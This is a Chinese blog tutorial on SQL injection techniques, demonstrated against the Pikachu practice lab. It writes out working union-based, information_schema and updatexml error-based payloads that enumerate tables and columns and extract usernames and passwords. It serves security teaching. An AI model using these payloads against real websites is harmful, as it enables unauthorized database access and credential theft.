SQL注入(四)之攻击类型与方式(上)

一 union注入

01 Union操作符演示

union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
输入select id,email from member where username='kevin' union select username,pw from member where id=1;

在这里插入图片描述

注:union操作符一般与order by语句配合使用

02 查询主查询字段

因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

01 输入a’ order by 3#%,反馈如图:
在这里插入图片描述
在这里插入图片描述
02 输入a’ order by 4#%,反馈如图:

在这里插入图片描述
在这里插入图片描述

通过这个简单的办法找到主查询一共有三个字段。

03 union注入

01 输入构造好的语句a’ union select 1,2,3#%,反馈如图:
在这里插入图片描述

02 输入构造好的语句a’ union select database(),user(),version()#%,反馈如图:
在这里插入图片描述

在这里插入图片描述

二 information_schema注入

	information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。
	注:MySQL版本5.0以上才支持information_schema数据库。

01 获取pikachu数据库的表名

查询mysql数据库
在这里插入图片描述

输入:u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

在这里插入图片描述

02 获取pikachu数据库的字段名

查询mysql数据库
在这里插入图片描述

输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

在这里插入图片描述

03 获取pikachu数据库的字段值

输入:kobe'union select id,username ,password from users#%

在这里插入图片描述

三 基于函数报错注入

01 技巧思路

	在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入
都可以使用报错方式来获取信息。

在这里插入图片描述

02 背景条件

	后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

03 基于报错的信息获取(三个常用的用来报错的函数)

	updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
	extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数。
	floor() :MYSQL中用来取整的函数。

04 基于报错的信息获取

	UPDATEXML (XML_document, XPath_string, new_value); 
	第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
	第二个参数:XPath_string (Xpath格式的字符串) 。 
	第三个参数:new_value,String格式,替换查找到的符合条件的数据 。

05 实战测试

1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

在这里插入图片描述
在这里插入图片描述

2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  

在这里插入图片描述

3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

在这里插入图片描述

4、爆表(获取数据库表名)
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

在这里插入图片描述

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
更改limit后面的数字limit 0完成表名遍历。

在这里插入图片描述

5、爆字段(获取字段名)
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0)#

在这里插入图片描述

6、爆字段内容(获取字段内容)
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

在这里插入图片描述

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值